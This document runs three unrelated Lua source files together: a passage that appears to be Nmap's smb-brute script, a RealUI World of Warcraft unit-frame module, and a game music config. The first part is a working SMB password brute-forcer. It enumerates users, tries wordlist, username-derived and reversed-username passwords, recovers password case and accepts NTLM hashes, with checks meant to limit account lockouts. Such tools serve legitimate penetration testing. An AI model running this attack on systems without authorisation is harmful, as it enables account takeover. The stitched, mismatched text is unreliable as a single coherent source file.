2, -- Login was successful, but was granted guest access NOT_GRANTED = 3, -- Password was correct, but user wasn't allowed to log in (often happens with blank passwords) DISABLED = 4, -- Password was correct, but user's account is disabled EXPIRED = 5, -- Password was correct, but user's account is expired CHANGE_PASSWORD = 6, -- Password was correct, but user can't log in without changing it ACCOUNT_LOCKED = 7, -- User's account is locked out (hopefully not by us!) ACCOUNT_LOCKED_NOW = 8, -- User's account just became locked out (oops!) FAIL = 9, -- User's password was incorrect INVALID_LOGON_HOURS = 10, -- Password was correct, but user's account has logon time restrictions in place INVALID_WORKSTATION = 11 -- Password was correct, but user's account has workstation restrictions in place } ---Strings for debugging output local result_short_strings = {} result_short_strings[results.SUCCESS] = "SUCCESS" result_short_strings[results.GUEST_ACCESS] = "GUEST_ACCESS" result_short_strings[results.NOT_GRANTED] = "NOT_GRANTED" result_short_strings[results.DISABLED] = "DISABLED" result_short_strings[results.EXPIRED] = "EXPIRED" result_short_strings[results.CHANGE_PASSWORD] = "CHANGE_PASSWORD" result_short_strings[results.ACCOUNT_LOCKED] = "LOCKED" result_short_strings[results.ACCOUNT_LOCKED_NOW] = "LOCKED_NOW" result_short_strings[results.FAIL] = "FAIL" result_short_strings[results.INVALID_LOGON_HOURS] = "INVALID_LOGON_HOURS" result_short_strings[results.INVALID_WORKSTATION] = "INVALID_WORKSTATION" ---The strings that the user will see local result_strings = {} result_strings[results.SUCCESS] = "Valid credentials" result_strings[results.GUEST_ACCESS] = "Valid credentials, account granted guest access only" result_strings[results.NOT_GRANTED] = "Valid credentials, but account wasn't allowed to log in (often happens with blank passwords)" result_strings[results.DISABLED] = "Valid credentials, account disabled" result_strings[results.EXPIRED] = "Valid credentials, account expired" result_strings[results.CHANGE_PASSWORD] = "Valid credentials, password must be changed at next logon" result_strings[results.ACCOUNT_LOCKED] = "Valid credentials, account locked (hopefully not by us!)" result_strings[results.ACCOUNT_LOCKED_NOW] = "Valid credentials, account just became locked (oops!)" result_strings[results.FAIL] = "Invalid credentials" result_strings[results.INVALID_LOGON_HOURS] = "Valid credentials, account cannot log in at current time" result_strings[results.INVALID_WORKSTATION] = "Valid credentials, account cannot log in from current host" ---Constants for special passwords. These each contain a null character, which is illegal in -- actual passwords. local USERNAME = "\0username" local USERNAME_REVERSED = "\0username reversed" local special_passwords = { USERNAME, USERNAME_REVERSED } ---Generates a random string of the requested length. This can be used to check how hosts react to -- weird username/password combinations. --@param length (optional) The length of the string to return. Default: 8. --@param set (optional) The set of letters to choose from. Default: upper, lower, numbers, and underscore. --@return The random string. local function get_random_string(length, set) return stdnse.generate_random_string(length or 8, set or "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_") end ---Splits a string in the form "domain\user" into domain and user. --@param str The string to split --@return (domain, username) The domain and the username. If no domain was given, nil is returned -- for domain. local function split_domain(str) local username, domain local split = stdnse.strsplit("\\", str) if(#split > 1) then domain = split[1] username = split[2] else domain = nil username = str end return domain, username end ---Formats a username/password pair with an optional result. Just a way to keep things consistent -- throughout the program. Currently, the format is "username:password => result". --@param username The username. --@param password [optional] The password. Default: "<unknown>". --@param result [optional] The result, as a constant. Default: not used. --@return A string representing the input values. local function format_result(username, password, result) if(username == "") then username = "<blank>" end if(password == nil) then password = "<unknown>" elseif(password == "") then password = "<blank>" end if(result == nil) then return string.format("%s:%s", username, password) else return string.format("%s:%s => %s", username, password, result_strings[result]) end end ---Decides which login type to use (lanman, ntlm, or other). Designed to keep things consistent. --@param hostinfo The hostinfo table. --@return A string representing the login type to use (that can be passed to SMB functions). local function get_type(hostinfo) -- Check if the user requested a specific type if(nmap.registry.args.smbtype ~= nil) then return nmap.registry.args.smbtype end -- Otherwise, base the type on the operating system (TODO: other versions of Windows (7, 2008)) -- 2k8 example: "Windows Server (R) 2008 Datacenter without Hyper-V 6001 Service Pack 1" if(string.find(string.lower(hostinfo['os']), "vista") ~= nil) then return "ntlm" elseif(string.find(string.lower(hostinfo['os']), "2008") ~= nil) then return "ntlm" elseif(string.find(string.lower(hostinfo['os']), "Windows 7") ~= nil) then return "ntlm" end return "lm" end ---Stops the session, if one exists. This can be called as frequently as needed, it'll just return if no -- session is present, but it should generally be paired with a <code>restart_session</code> call. --@param hostinfo The hostinfo table. --@return (status, err) If status is false, err is a string corresponding to the error; otherwise, err is undefined. local function stop_session(hostinfo) local status, err if(hostinfo['smbstate'] ~= nil) then stdnse.debug2("Stopping the SMB session") status, err = smb.stop(hostinfo['smbstate']) if(status == false) then return false, err end hostinfo['smbstate'] = nil end return true end ---Starts or restarts a SMB session with the host. Although this will automatically stop a session if -- one exists, it's a little cleaner to pair this with a <code>stop_session</code> call. --@param hostinfo The hostinfo table. --@return (status, err) If status is false, err is a string corresponding to the error; otherwise, err is undefined. local function restart_session(hostinfo) local status, err, smbstate -- Stop the old session, if it exists stop_session(hostinfo) stdnse.debug2("Starting the SMB session") status, smbstate = smb.start_ex(hostinfo['host'], true, nil, nil, nil, true) if(status == false) then return false, smbstate end hostinfo['smbstate'] = smbstate return true end ---Attempts to log into an account, returning one of the <code>results</code> constants. Will always return to the -- state where another login can be attempted. Will also differentiate between a hash and a password, and choose the -- proper login method (unless overridden). Will interpret the result as much as possible. -- -- The session has to be active (ie, <code>restart_session</code> has to be called) before calling this function. -- --@param hostinfo The hostinfo table. --@param username The username to try. --@param password The password to try. --@param logintype [optional] The logintype to use. Default: <code>get_type</code> is called. If <code>password</code> -- is a hash, this is ignored. --@return Result, an integer value from the <code>results</code> constants. local function check_login(hostinfo, username, password, logintype) local result local domain = "" local smbstate = hostinfo['smbstate'] if(logintype == nil) then logintype = get_type(hostinfo) end -- Determine if we have a password hash or a password local status, err if(#password == 32 or #password == 64 or #password == 65) then -- It's a hash (note: we always use NTLM hashes) status, err = smb.start_session(smbstate, smb.get_overrides(username, domain, nil, password, "ntlm"), false) else status, err = smb.start_session(smbstate, smb.get_overrides(username, domain, password, nil, logintype), false) end if(status == true) then if(smbstate['is_guest'] == 1) then result = results.GUEST_ACCESS else result = results.SUCCESS end smb.logoff(smbstate) else if(err == "NT_STATUS_LOGON_TYPE_NOT_GRANTED") then result = results.NOT_GRANTED elseif(err == "NT_STATUS_ACCOUNT_LOCKED_OUT") then result = results.ACCOUNT_LOCKED elseif(err == "NT_STATUS_ACCOUNT_DISABLED") then result = results.DISABLED elseif(err == "NT_STATUS_PASSWORD_MUST_CHANGE") then result = results.CHANGE_PASSWORD elseif(err == "NT_STATUS_INVALID_LOGON_HOURS") then result = results.INVALID_LOGON_HOURS elseif(err == "NT_STATUS_INVALID_WORKSTATION") then result = results.INVALID_WORKSTATION elseif(err == "NT_STATUS_ACCOUNT_EXPIRED") then result = results.EXPIRED else result = results.FAIL end end --io.write(string.format("Result: %s\n\n", result_strings[result])) return result end ---Determines whether or not a login was successful, based on what's known about the server's settings. This -- is fairly straight forward, but has a couple little tricks. -- --@param hostinfo The hostinfo table. --@param result The result code. --@return <code>true</code> if the password used for logging in was correct, <code>false</code> otherwise. Keep -- in mind that this doesn't imply the login was successful (only results.SUCCESS indicates that), rather -- that the password was valid. function is_positive_result(hostinfo, result) -- If result is a FAIL, it's always bad if(result == results.FAIL) then return false end -- If result matches what we discovered for invalid passwords, it's always bad if(result == hostinfo['invalid_password']) then return false end -- If result was ACCOUNT_LOCKED, it's always bad (locked accounts should already be taken care of, but this -- makes the function a bit more generic) if(result == results.ACCOUNT_LOCKED) then return false end -- Otherwise, it's good return true end ---Determines whether or not a login was "bad". A bad login is one where an account becomes locked out. -- --@param hostinfo The hostinfo table. --@param result The result code. --@return <code>true</code> if the password used for logging in was correct, <code>false</code> otherwise. Keep -- in mind that this doesn't imply the login was successful (only results.SUCCESS indicates that), rather -- that the password was valid. function is_bad_result(hostinfo, result) -- If result is LOCKED, it's always bad. if(result == results.ACCOUNT_LOCKED or result == results.ACCOUNT_LOCKED_NOW) then return true end -- Otherwise, it's good return false end ---Count the number of one bits in a binary representation of the given number. This is used for case-sensitive -- checks. -- --@param num The number to count the ones for. --@return The number of ones in the number local function count_ones(num) local count = 0 while num ~= 0 do if(bit.band(num, 1) == 1) then count = count + 1 end num = bit.rshift(num, 1) end return count end ---Converts a string's case based on a binary number. For every '1' bit, the character is uppercased, and for every '0' -- bit it's lowercased. For example, "test" and 8 (1000) becomes "Test", while "test" and 11 (1011) becomes "TeST". -- --@param str The string to convert. --@param num The binary number representing the case. This value isn't checked, so if it's too large it's truncated, and if it's -- too small it's effectively zero-padded. --@return The converted string. local function convert_case(str, num) local pos = #str -- Don't bother with blank strings (we probably won't get here anyway, but it doesn't hurt) if(str == "") then return "" end while(num ~= 0) do -- Check if the bit we're at is '1' if(bit.band(num, 1) == 1) then -- Check if we're at the beginning or end (or both) of the string -- those are special cases if(pos == #str and pos == 1) then str = string.upper(string.sub(str, pos, pos)) elseif(pos == #str) then str = string.sub(str, 1, pos - 1) .. string.upper(string.sub(str, pos, pos)) elseif(pos == 1) then str = string.upper(string.sub(str, pos, pos)) .. string.sub(str, pos + 1, #str) else str = string.sub(str, 1, pos - 1) .. string.upper(string.sub(str, pos, pos)) .. string.sub(str, pos + 1, #str) end end num = bit.rshift(num, 1) pos = pos - 1 end return str end ---Attempts to determine the case of a password. This is done by trying every possible combination of upper and lowercase -- characters in the password, in the most efficient possible ordering, until the correct case is found. -- -- A session has to be active when this function is called. -- --@param hostinfo The hostinfo table. --@param username The username. --@param password The password (it's assumed that it's all lowercase already, but it doesn't matter) --@return The password with the proper case, or the original password if it couldn't be determined (either the proper -- case wasn't found or the login type is incorrect). local function find_password_case(hostinfo, username, password) -- Only do this if we're using lanman, otherwise we already have the proper password if(get_type(hostinfo) ~= "lm") then return password end -- Figure out how many possibilities exist local max = math.pow(2, #password) - 1 -- Create an array of them, starting with all the values whose binary representation has no ones, then one one, then two ones, etc. local ordered = {} -- Cheat a bit, by adding all lower then all upper right at the start ordered = {0, max} -- Loop backwards from the length of the password to 0. At each spot, put all numbers that have that many '1' bits for i = 1, #password - 1, 1 do for j = max, 0, -1 do if(count_ones(j) == i) then table.insert(ordered, j) end end end -- Create the list of converted passwords for i = 1, #ordered, 1 do local thispassword = convert_case(password, ordered[i]) -- We specify "ntlm" for the login type because it's case sensitive local result = check_login(hostinfo, username, thispassword, 'ntlm') if(is_positive_result(hostinfo, result)) then return thispassword end end -- Print an error message stdnse.debug1("ERROR: smb-brute: Was unable to determine case of %s's password", username) -- If all else fails, just return the actual password (we probably shouldn't get here) return password end ---Unless the user is ok with lockouts, check the lockout policy of the host. Take the most restrictive -- portion among the domains. Returns true if lockouts could happen, false otherwise. local function bad_lockout_policy(host) -- If the user is ok with locking out accounts, just return if(stdnse.get_script_args( "smblockout" )) then stdnse.debug1("Not checking server's lockout policy") return true, false end local status, result = msrpc.get_domains(host) if(not(status)) then stdnse.debug1("Couldn't detect lockout policy: %s", result) return false, "Couldn't retrieve lockout policy: " .. result end for domain, data in pairs(result) do if(data and data.lockout_threshold) then stdnse.debug1("Server's lockout policy: lock out after %d attempts", data.lockout_threshold) return true, true end end stdnse.debug1("Server has no lockout policy") return true, false end ---Initializes and returns the hostinfo table. This includes queuing up the username and password lists, determining -- the server's operating system, and checking the server's response for invalid usernames/invalid passwords. -- --@param host The host object. local function initialize(host) local os, result local status, bad_lockout_policy_result local hostinfo = {} hostinfo['host'] = host hostinfo['invalid_usernames'] = {} hostinfo['locked_usernames'] = {} hostinfo['accounts'] = {} hostinfo['special_password'] = 1 -- Get the OS (identifying windows versions tells us which hash to use) result, os = smb.get_os(host) if(result == false or os['os'] == nil) then hostinfo['os'] = "<Unknown>" else hostinfo['os'] = os['os'] end stdnse.debug1("Remote operating system: %s", hostinfo['os']) -- Check lockout policy status, bad_lockout_policy_result = bad_lockout_policy(host) if(not(status)) then stdnse.debug1("WARNING: couldn't determine lockout policy: %s", bad_lockout_policy_result) else if(bad_lockout_policy_result) then return false, "Account lockouts are enabled on the host. To continue (and risk lockouts), add --script-args=smblockout=1 -- for more information, run smb-enum-domains." end end -- Attempt to enumerate users stdnse.debug1("Trying to get user list from server") local _ hostinfo['have_user_list'], _, hostinfo['user_list'] = msrpc.get_user_list(host) hostinfo['user_list_index'] = 1 if(hostinfo['have_user_list'] and #hostinfo['user_list'] == 0) then hostinfo['have_user_list'] = false end -- If the enumeration failed, try using the built-in list if(not(hostinfo['have_user_list'])) then stdnse.debug1("Couldn't enumerate users (normal for Windows XP and higher), using unpwdb initially") status, hostinfo['user_list_default'] = unpwdb.usernames() if(status == false) then return false, "Couldn't open username file" end end -- Open the password file stdnse.debug1("Opening password list") status, hostinfo['password_list'] = unpwdb.passwords() if(status == false) then return false, "Couldn't open password file" end -- Start the SMB session stdnse.debug1("Starting the initial SMB session") local err status, err = restart_session(hostinfo) if(status == false) then stop_session(hostinfo) return false, err end -- Some hosts will accept any username -- check for this by trying to log in with a totally random name. If the -- server accepts it, it'll be impossible to bruteforce; if it gives us a weird result code, we have to remember -- it. hostinfo['invalid_username'] = check_login(hostinfo, get_random_string(8), get_random_string(8), "ntlm") hostinfo['invalid_password'] = check_login(hostinfo, "Administrator", get_random_string(8), "ntlm") stdnse.debug1("Server's response to invalid usernames: %s", result_short_strings[hostinfo['invalid_username']]) stdnse.debug1("Server's response to invalid passwords: %s", result_short_strings[hostinfo['invalid_password']]) -- If either of these comes back as success, there's no way to tell what's valid/invalid if(hostinfo['invalid_username'] == results.SUCCESS) then stop_session(hostinfo) return false, "Invalid username was accepted; unable to bruteforce" end if(hostinfo['invalid_password'] == results.SUCCESS) then stop_session(hostinfo) return false, "Invalid password was accepted; unable to bruteforce" end -- Print a message to the user if we can identify passwords if(hostinfo['invalid_username'] ~= hostinfo['invalid_password']) then stdnse.debug1("Invalid username and password response are different, so identifying valid accounts is possible") end -- Print a warning message if invalid_username and invalid_password go to the same thing that isn't FAIL if(hostinfo['invalid_username'] ~= results.FAIL and hostinfo['invalid_username'] == hostinfo['invalid_password']) then stdnse.debug1("WARNING: Difficult to recognize invalid usernames/passwords; may not get good results") end -- Restart the SMB connection so we have a clean slate stdnse.debug1("Restarting the session before the bruteforce") status, err = restart_session(hostinfo) if(status == false) then stop_session(hostinfo) return false, err end -- Stop the SMB session (we're going to let the scripts look after their own sessions) stop_session(hostinfo) -- Return the results return true, hostinfo end ---Retrieves the next password in the password database we're using. Will never return the empty string. -- May also return one of the <code>special_passwords</code> constants. -- --@param hostinfo The hostinfo table (the password list is stored there). --@return The new password, or nil if the end of the list has been reached. local function get_next_password(hostinfo) local new_password -- If we're out of special passwords, move onto actual ones if(hostinfo['special_password'] > #special_passwords) then -- Pick the next non-blank password from the list repeat new_password = hostinfo['password_list']() until new_password ~= '' else -- Get the next non-blank password new_password = special_passwords[hostinfo['special_password']] hostinfo['special_password'] = hostinfo['special_password'] + 1 end return new_password end ---Reset to the first password. This is normally done when the user list changes. -- --@param hostinfo The hostinfo table. local function reset_password(hostinfo) hostinfo['password_list']("reset") end ---Retrieves the next username. This can be from the username database, or from an array stored in the -- hostinfo table. This won't return any names that have been determined to be invalid, locked, or -- have already had their password found. -- --@param hostinfo The hostinfo table --@return The next username, or nil if the end of the list has been reached. local function get_next_username(hostinfo) local username repeat if(hostinfo['have_user_list']) then local index = hostinfo['user_list_index'] hostinfo['user_list_index'] = hostinfo['user_list_index'] + 1 username = hostinfo['user_list'][index] if(username ~= nil) then local _ _, username = split_domain(username) end else username = hostinfo['user_list_default']() end -- Make the username lowercase (usernames aren't case sensitive, so making it lower case prevents duplicates) if(username ~= nil) then username = string.lower(username) end until username == nil or (hostinfo['invalid_usernames'][username] ~= true and hostinfo['locked_usernames'][username] ~= true and hostinfo['accounts'][username] == nil) return username end ---Reset to the first username. -- --@param hostinfo The hostinfo table. local function reset_username(hostinfo) if(hostinfo['have_user_list']) then hostinfo['user_list_index'] = 1 else hostinfo['user_list_default']("reset") end end ---Do a little trick to detect account lockouts without bringing every user to the lockout threshold -- bump the lockout counter of -- the first user ahead. If lockouts are happening, this means that the first account will trigger before the rest of the accounts. -- A canary in the mineshaft, in a way. -- -- The number of checks defaults to three, but it can be controlled with the <code>canary</code> argument. -- -- Times it'll fail are when: -- * Accounts are locked out due to the initial checks (happens if the user runs smb-brute twice in a row, the canary won't help) -- * A valid user list isn't pulled, and we create a canary that doesn't exist (won't be as bad, though, because it means we also -- don't have every account on the server/domain function test_lockouts(hostinfo) local i local username = get_next_username(hostinfo) -- It's possible that every username was accounted for already, so our list is empty. if(username == nil) then return end if(stdnse.get_script_args( "smblockout" )) then return end while(string.lower(username) == "administrator") do username = get_next_username(hostinfo) if(username == nil) then return end end if(username ~= nil) then -- Try logging in as the "canary" account local canaries = nmap.registry.args.canaries if(canaries == nil) then canaries = 3 else canaries = tonumber(canaries) end if(canaries > 0) then stdnse.debug1("Detecting server lockout on '%s' with %d canaries", username, canaries) end local result for i=1, canaries, 1 do result = check_login(hostinfo, username, get_random_string(8), "ntlm") end -- If the account just became locked (it's already been put on the 'valid' list), we're in trouble if(result == results.LOCKED) then -- If the canary just became locked, we're one step from locking out every account. Loop through the usernames and invalidate them to -- prevent them from being locked out stdnse.debug1("Canary (%s) became locked out -- aborting", username) -- Add it to the locked username list (so it can be reported) hostinfo['locked_usernames'][username] = true -- Mark all the usernames as invalid (a bit of a hack, but it's safer this way) while(username ~= nil) do stdnse.debug1("Marking '%s' as 'invalid'", username) hostinfo['invalid_usernames'][username] = true username = get_next_username(hostinfo) end end end -- Go back to the beginning of the list reset_username(hostinfo) end ---Attempts to validate the current list of usernames by logging in with a blank password, marking invalid ones (and ones that had -- a blank password). Determining the validity of a username works best if invalid usernames are redirected to 'guest'. -- -- If a username accepts the blank password, a random password is tested. If that's accepted as well, the account is marked as -- accepting any password (the 'guest' account is normally like that). -- -- This also checks whether the server locks out users, and raises the lockout threshold of the first user (see the -- <code>check_lockouts</code> function for more information on that. If accounts on the system are locked out, they aren't -- checked. -- --@param hostinfo The hostinfo table. --@return (status, err) If status is false, err is a string corresponding to the error; otherwise, err is undefined. local function validate_usernames(hostinfo) local status, err local result local username, password stdnse.debug1("Checking which account names exist (based on what goes to the 'guest' account)") -- Start a session status, err = restart_session(hostinfo) if(status == false) then return false, err end -- Make sure we start at the beginning reset_username(hostinfo) username = get_next_username(hostinfo) while(username ~= nil) do result = check_login(hostinfo, username, "", "ntlm") if(result ~= hostinfo['invalid_password'] and result == hostinfo['invalid_username']) then -- If the account matches the value of 'invalid_username', but not the value of 'invalid_password', it's invalid stdnse.debug1("Blank password for '%s' -> '%s' (invalid account)", username, result_short_strings[result]) hostinfo['invalid_usernames'][username] = true elseif(result == hostinfo['invalid_password']) then -- If the account matches the value of 'invalid_password', and 'invalid_password' is reliable, it's probably valid if(hostinfo['invalid_username'] ~= results.FAIL and hostinfo['invalid_username'] == hostinfo['invalid_password']) then stdnse.debug1("Blank password for '%s' => '%s' (can't determine validity)", username, result_short_strings[result]) else stdnse.debug1("Blank password for '%s' => '%s' (probably valid)", username, result_short_strings[result]) end elseif(result == results.ACCOUNT_LOCKED) then -- If the account is locked out, don't try it hostinfo['locked_usernames'][username] = true stdnse.debug1("Blank password for '%s' => '%s' (locked out)", username, result_short_strings[result]) elseif(result == results.FAIL) then -- If none of the standard options work, check if it's FAIL. If it's FAIL, there's an error somewhere (probably, the -- 'administrator' username is changed so we're getting invalid data). stdnse.debug1("Blank password for '%s' => '%s' (may be valid)", username, result_short_strings[result]) else -- If none of those came up, either the password is legitimately blank, or any account works. Figure out what! local new_result = check_login(hostinfo, username, get_random_string(14), "ntlm") if(new_result == result) then -- Any password works (often happens with 'guest' account) stdnse.debug1("All passwords accepted for %s (goes to %s)", username, result_short_strings[result]) status, err = found_account(hostinfo, username, "<anything>", result) if(status == false) then return false, err end else -- Blank password worked, but not random one status, err = found_account(hostinfo, username, "", result) if(status == false) then return false, err end end end username = get_next_username(hostinfo) end -- Start back at the beginning of the list reset_username(hostinfo) -- Check for lockouts test_lockouts(hostinfo) -- Stop the session stop_session(hostinfo) return true end ---Marks an account as discovered. The login with this account doesn't have to be successful, but <code>is_positive_result</code> should -- return <code>true</code>. -- -- If the result IS successful, and this hasn't been done before, this function will attempt to pull a userlist from the server. -- -- The session should be stopped before entering this function, and restarted after -- that allows this function to make its own SMB calls. -- --@param hostinfo The hostinfo table. --@param username The username. --@param password The password. --@param result The result, as an integer constant. --@return (status, err) If status is false, err is a string corresponding to the error; otherwise, err is undefined. function found_account(hostinfo, username, password, result) local status, err -- Save the username hostinfo['accounts'][username] = {} hostinfo['accounts'][username]['password'] = password hostinfo['accounts'][username]['result'] = result -- Save the account (smb will automatically decide if it's better than the account it already has) if(result == results.SUCCESS) then -- Stop the connection -- this lets us do some queries status, err = stop_session(hostinfo) if(status == false) then return false, err end -- Check if we have an 'admin' account -- Try getting information about "IPC$". This determines whether or not the user is administrator -- since only admins can get share info. Note that on Vista and up, unless UAC is disabled, all -- accounts are non-admin. local is_admin = smb.is_admin(hostinfo['host'], username, '', password, nil, nil) -- Add the account smb.add_account(hostinfo['host'], username, '', password, nil, nil, is_admin) -- Check lockout policy local status, bad_lockout_policy_result = bad_lockout_policy(hostinfo['host']) if(not(status)) then stdnse.debug1("WARNING: couldn't determine lockout policy: %s", bad_lockout_policy_result) else if(bad_lockout_policy_result) then return false, "Account lockouts are enabled on the host. To continue (and risk lockouts), add --script-args=smblockout=1 -- for more information, run smb-enum-domains." end end -- If we haven't retrieved the real user list yet, do so if(hostinfo['have_user_list'] == false) then -- Attempt to enumerate users stdnse.debug1("Trying to get user list from server using newly discovered account") local _ hostinfo['have_user_list'], _, hostinfo['user_list'] = msrpc.get_user_list(hostinfo['host']) hostinfo['user_list_index'] = 1 if(hostinfo['have_user_list'] and #hostinfo['user_list'] == 0) then hostinfo['have_user_list'] = false end -- If the list was found, let the user know and reset the password list if(hostinfo['have_user_list']) then stdnse.debug1("Found %d accounts to check!", #hostinfo['user_list']) reset_password(hostinfo) -- Validate them (pick out the ones that can't possibly log in) validate_usernames(hostinfo) end end -- Start the session again status, err = restart_session(hostinfo) if(status == false) then return false, err end end end ---This is the main function that does all the work (loops through the lists and checks the results). -- --@param host The host table. --@return (status, accounts, locked_accounts) If status is false, accounts is an error message. Otherwise, accounts -- is a table of passwords/results, indexed by the username and locked_accounts is a table indexed by locked -- usernames. local function go(host) local status, err local result, hostinfo local password, temp_password, username local response = {} -- Initialize the hostinfo object, which sets up the initial variables result, hostinfo = initialize(host) if(result == false) then return false, hostinfo end -- If invalid accounts don't give guest, we can determine the existence of users by trying to -- log in with an invalid password and checking the value status, err = validate_usernames(hostinfo) if(status == false) then return false, err end -- Start up the SMB session status, err = restart_session(hostinfo) if(status == false) then return false, err end -- Loop through the password list temp_password = get_next_password(hostinfo) while(temp_password ~= nil) do -- Loop through the user list username = get_next_username(hostinfo) while(username ~= nil) do -- Check if it's a special case (we do this every loop because special cases are often -- based on the username if(temp_password == USERNAME) then password = username --io.write(string.format("Trying matching username/password (%s:%s)\n", username, password)) elseif(temp_password == USERNAME_REVERSED) then password = string.reverse(username) --io.write(string.format("Trying reversed username/password (%s:%s)\n", username, password)) else password = temp_password end --io.write(string.format("%s:%s\n", username, password)) local result = check_login(hostinfo, username, password, get_type(hostinfo)) -- Check if the username was locked out if(is_bad_result(hostinfo, result)) then -- Add it to the list of locked usernames hostinfo['locked_usernames'][username] = true -- Unless the user requested to keep going, stop the check if(not(stdnse.get_script_args( "smblockout" ))) then -- Mark it as found, which is technically true status, err = found_account(hostinfo, username, nil, results.ACCOUNT_LOCKED_NOW) if(status == false) then return err end -- Let the user know that it went badly stdnse.debug1("'%s' became locked out; stopping", username) return true, hostinfo['accounts'], hostinfo['locked_usernames'] else stdnse.debug1("'%s' became locked out; continuing", username) end end if(is_positive_result(hostinfo, result)) then -- Reset the connection stdnse.debug2("Found an account; resetting connection") status, err = restart_session(hostinfo) if(status == false) then return false, err end -- Find the case of the password, unless it's a hash local case_password if(not(#password == 32 or #password == 64 or #password == 65)) then stdnse.debug1("Determining password's case (%s)", format_result(username, password)) case_password = find_password_case(hostinfo, username, password, result) stdnse.debug1("Result: %s", format_result(username, case_password)) else case_password = password end -- Take normal actions for finding an account status, err = found_account(hostinfo, username, case_password, result) if(status == false) then return err end end username = get_next_username(hostinfo) end reset_username(hostinfo) temp_password = get_next_password(hostinfo) end stop_session(hostinfo) return true, hostinfo['accounts'], hostinfo['locked_usernames'] end --_G.TRACEBACK = TRACEBACK or {} action = function(host) -- TRACEBACK[coroutine.running()] = true; local status, result local response = {} local username local usernames = {} local locked = {} local i local locked_result status, result, locked_result = go(host) if(status == false) then return stdnse.format_output(false, result) end -- Put the usernames in their own table for username in pairs(result) do table.insert(usernames, username) end -- Sort the usernames alphabetically table.sort(usernames) -- Display the usernames if(#usernames == 0) then table.insert(response, "No accounts found") else for i=1, #usernames, 1 do local username = usernames[i] table.insert(response, format_result(username, result[username]['password'], result[username]['result'])) end end -- Make a list of locked accounts for username in pairs(locked_result) do table.insert(locked, username) end if(#locked > 0) then -- Sort the list table.sort(locked) -- Display the list table.insert(response, string.format("Locked accounts found: %s", stdnse.strjoin(", ", locked))) end return stdnse.format_output(true, response) end
local _, private = ... -- Libs -- local oUF = private.oUF -- RealUI -- local RealUI = private.RealUI local db, ndb local CombatFader = RealUI:GetModule("CombatFader") local MODNAME = "UnitFrames" local UnitFrames = RealUI:NewModule(MODNAME, "AceEvent-3.0") UnitFrames.units = {} local units = { "Player", "Target", "Focus", "FocusTarget", "Pet", "TargetTarget", } function UnitFrames:RefreshUnits(event) for i = 1, #units do local unit = _G["RealUI" .. units[i] .. "Frame"] unit.Health.colorClass = db.overlay.classColor unit.Health:SetReversePercent(not ndb.settings.reverseUnitFrameBars) if unit.Power then unit.Power:UpdateReverse(ndb.settings.reverseUnitFrameBars) end if unit.DruidMana then unit.DruidMana:SetReverseFill(ndb.settings.reverseUnitFrameBars) end unit:UpdateAllElements(event) end end UnitFrames.steppoints = { default = {0.35, 0.25}, health = { HUNTER = {0.8, 0.2}, PALADIN = {0.4, 0.2}, WARRIOR = {0.35, 0.2}, }, power = { MAGE = {0.7, 0.25}, WARLOCK = {0.6, 0.4}, }, } ---------------------------- ------ Initialization ------ ---------------------------- function UnitFrames:RefreshMod() db = self.db.profile ndb = RealUI.db.profile self.layoutSize = ndb.settings.hudSize self:RefreshUnits("RefreshMod") end function UnitFrames:OnInitialize() ---[[ self.db = RealUI.db:RegisterNamespace(MODNAME) self.db:RegisterDefaults({ profile = { misc = { focusclick = true, focuskey = "shift", statusText = "smart", alwaysDisplayFullHealth = true, combatfade = { enabled = true, opacity = { incombat = 1, harmtarget = 0.85, target = 0.75, hurt = 0.6, outofcombat = 0.25, }, }, }, units = { -- Eventually, these settings will be used to adjust unit frame size. player = { size = {x = 259, y = 28}, position = {x = 0, y = 0}, healthHeight = 0.6, --percentage of the unit height used by the healthbar }, target = { size = {x = 259, y = 28}, position = {x = 0, y = 0}, healthHeight = 0.6, --percentage of the unit height used by the healthbar }, targettarget = { size = {x = 138, y = 10}, position = {x = 0, y = 0}, }, focus = { size = {x = 138, y = 10}, position = {x = 0, y = 0}, }, focustarget = { size = {x = 126, y = 10}, position = {x = 0, y = 0}, }, pet = { size = {x = 126, y = 10}, position = {x = 0, y = 0}, }, }, arena = { enabled = true, announceUse = true, announceChat = "GROUP", showCast = true, showPets = true, }, boss = { gap = 3, buffCount = 3, debuffCount = 5, showPlayerAuras = true, showNPCAuras = true, }, -- TODO: Convert to FramePoint positions = { [1] = { player = { x = 0, y = 0}, -- Anchored to Positioner pet = { x = 51, y = -84}, -- Anchored to Player focus = { x = 29, y = -62}, -- Anchored to Player focustarget = { x = 11, y = -2}, -- Anchored to Focus target = { x = 0, y = 0}, -- Anchored to Positioner targettarget = { x = -29, y = -62}, -- Anchored to Target boss = { x = 0, y = 0}, -- Anchored to Positioner }, [2] = { player = { x = 0, y = 0}, -- Anchored to Positioner pet = { x = 60, y = -91}, -- Anchored to Player focus = { x = 36, y = -67}, -- Anchored to Player focustarget = { x = 12, y = -2}, -- Anchored to Focus target = { x = 0, y = 0}, -- Anchored to Positioner targettarget = { x = -36, y = -67}, -- Anchored to Target boss = { x = 0, y = 0}, -- Anchored to Positioner }, }, overlay = { bar = { opacity = { absorb = 0.25, -- Absorb Bar }, }, classColor = false, classColorNames = true, }, }, }) db = self.db.profile ndb = RealUI.db.profile self.layoutSize = ndb.settings.hudSize self:SetEnabledState(RealUI:GetModuleEnabled(MODNAME)) CombatFader:RegisterModForFade(MODNAME, "profile", "misc", "combatfade") end function UnitFrames:OnEnable() -- Override the green that oUF uses oUF.colors.health = {0.66, 0.22, 0.22} oUF.colors.power.MANA = RealUI.ColorDesaturate(0.1, oUF.colors.power.MANA) oUF.colors.power.MANA = RealUI.ColorShift(-0.07, oUF.colors.power.MANA) self:InitializeLayout() end
-- IMPORTANT: No table specified for a type means autodetect, -- empty table specified for a type means no tracks for that type! --To change the music used in each circumstance, add the file name of the track ("Earth.ogg", for example) inside the curly brackets of that circumstance (in the curly brackets of "--peace = {}," for example). --The file (e.g. "Earth.ogg") must be in the corresponding sub folder of [InsertGameDataFolderHere]/sounds/music as the circumstance you want it to be played in ([InsertGameDataFolderHere]/sounds/music/peace for example). local tracks = { --war = {}, --peace = {}, --victory = {}, --briefing = {}, --defeat = {}, } -- auto-appends directory and extension to the track names -- can be removed if you want to specify directory yourself for type,list in pairs(tracks) do for i=1,#list do list[i] = "sounds/music/"..type.."/"..list[i]..".ogg" end end return tracks
